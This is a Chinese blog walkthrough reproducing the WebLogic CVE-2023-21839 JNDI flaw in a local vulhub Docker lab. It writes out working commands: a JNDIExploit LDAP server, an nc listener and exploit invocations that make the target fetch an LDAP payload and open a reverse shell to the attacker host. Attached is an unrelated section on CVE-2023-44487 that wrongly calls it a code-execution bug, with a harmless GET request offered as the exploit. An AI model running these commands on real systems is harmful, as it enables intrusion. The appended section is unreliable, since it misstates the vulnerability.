CVE-2023-21839漏洞本地简单复现

本文详细介绍了如何在本地环境中复现CVE-2023-21839漏洞,利用不同工具进行未授权的JNDIlookup操作,尝试实现远程代码执行。通过Docker部署Weblogic漏洞环境,然后使用不同开源工具进行测试,最终成功实现RCE并获取反弹shell。文中还提到了在Windows环境下工具的使用情况。

image.png

1. 说明

本文漏洞环境由vulhub下载后在本地部署:https://github.com/vulhub
本文漏洞利用工具1来源于:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(可能是我利用姿势不太对,没成功)
本文漏洞利用工具2来源于:https://github.com/4ra1n/CVE-2023-21839
本文漏洞利用工具3来源于:https://github.com/WhiteHSBG/JNDIExploit

我主要是对漏洞进行了本地的简单复现,其中用到的工具都是各位大神的,我对4ra1n给的工具进行了编译。

2. 漏洞复现

2.1 漏洞原理

CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。
以上来源于:

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md

2.2 环境搭建

下载之后在本地使用docker部署:

docker-compose up -d

image.png

访问本地:http://127.0.0.1:7001/,出现以下界面证明环境搭建成功:
image.png

然后访问:http://127.0.0.1:7001/console/,等待几秒之后,即可访问到后台管理登录界面。
image.png

使用原来的Weblogic漏洞RCE神器进行测试,偶然发现存在cve-2016-3510

image.png

2.3 漏洞复现-失败

攻击机kali : 192.168.135.22java11
目标机:10.30.0.214mac启动的dockerjava8
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
kali上同时启动监听、命令执行、反弹shell的工作,先监听:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.30.0.214

image.png

然后在本地开启监听:

nc -lvnp 7777

image.png

使用下面的工具进行测试:

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

命令(要记得使用java8的环境,不然会报错):

java -jar Weblogic-CVE-2023-21839.jar 10.30.0.214:7001 ldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/7777


[*]java -jar 目标ip:端口 ldap地址
java -jar Weblogic-CVE-2023-21839.jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111


通过多次测试,发现还是有问题,能执行但是回不来:
可能是姿势不太对。。。
image.png
因为时间关系,暂时就不测试了。

2.4 漏洞复现2-成功

攻击机kali : 192.168.135.22java11
目标机:10.30.0.214mac启动的dockerjava8
中转文件:JNDIExploit-1.4-SNAPSHOT.jar
首先在kali上设置监听,用于接收反弹的shell
image.png

再通过kali上来设置监听:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.135.22

image.png

最后使用工具来进行攻击测试,使用工具来源于:https://github.com/4ra1n/CVE-2023-21839
将工具下载下来之后,在有go的环境中编译一下:

cd cmd
go build -o CVE-2023-21839

image.png

使用的时候,按照作者的方法来执行:

./CVE-2023-21839 -ip 10.30.0.214 -port 7001 -ldap ldap://192.168.135.22:1389/Basic/ReverseShell/192.168.135.22/7777
10.30.0.214为靶机
192.168.22.105为攻击机,也是接收反弹shell的ip

image.png

漏洞复现之后,记得及时关闭环境:
image.png

2.5 windows下工具使用

在这里使用windows版本的试下:
image.png

image.png

同样可以成功。

CVE-2023-44487 是一个影响广泛使用的软件组件的漏洞,具体涉及 HTTP/2 协议实现中的缺陷。该漏洞允许远程攻击者通过发送特制的 HTTP/2 请求导致服务崩溃或执行任意代码。以下是对该漏洞复现步骤、测试环境搭建方法以及影响范围的技术分析。 ### 漏洞复现步骤 为了复现 CVE-2023-44487 漏洞,通常需要构造特定的 HTTP/2 请求来触发目标系统中的漏洞点。以下是典型的复现流程: 1. **准备测试环境**:确保目标服务器运行的是受影响版本的 HTTP/2 实现库(如 nghttp2 或其他相关库)。 2. **构造恶意请求**:使用支持 HTTP/2 的客户端工具(如 `nghttp` 或自定义脚本)构造包含特殊字段的 HTTP/2 请求。 3. **发送请求并观察响应**:向目标服务器发送构造好的请求,并监控服务器的行为变化,例如是否出现异常、崩溃或返回预期之外的结果。 示例代码如下,展示了如何使用 Python 和 `hyper` 库发送 HTTP/2 请求: ```python from hyper import HTTP20Connection # 创建连接 conn = HTTP20Connection('target.example.com', port=443, secure=True) # 发送 GET 请求 conn.request('GET', '/') # 获取响应 resp = conn.get_response() print(resp.status) print(resp.read()) ``` 若目标存在漏洞且被成功触发,可能会观察到服务中断或其他非正常行为。 ### 测试环境搭建 为了搭建用于复现 CVE-2023-44487 的测试环境,可以按照以下步骤操作: 1. **选择受影响的服务端实现**:安装使用了易受攻击版本的 HTTP/2 服务器软件,例如基于 nghttp2 的服务器。 2. **配置 HTTPS 支持**:由于 HTTP/2 通常要求 TLS 加密,因此需为服务器配置有效的 SSL/TLS 证书。 3. **部署测试站点**:设置一个简单Web 站点以供测试,确保可以通过 HTTP/2 协议访问。 4. **启用调试日志**:开启服务器的详细日志记录功能以便于分析漏洞触发过程中的行为。 对于具体的 nghttp2 服务器部署,可以从其官方网站下载源码并编译安装: ```bash git clone https://github.com/nghttp2/nghttp2 cd nghttp2 autoreconf -i ./configure --enable-app make sudo make install ``` 之后,使用提供的示例程序启动一个本地测试服务器。 ### 影响范围 CVE-2023-44487 主要影响那些依赖 HTTP/2 协议栈进行通信的应用和服务。具体而言,所有未打补丁且使用了存在此漏洞的 HTTP/2 实现的系统均可能受到影响。这包括但不限于: - 使用 nghttp2 库的服务器和客户端应用; - 基于 gRPC 的微服务架构; - 利用 HTTP/2 进行高效数据传输的现代 Web 服务。 此外,任何提供公共 API 接口并启用了 HTTP/2 的云服务平台也应评估自身风险,并及时更新至安全版本。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值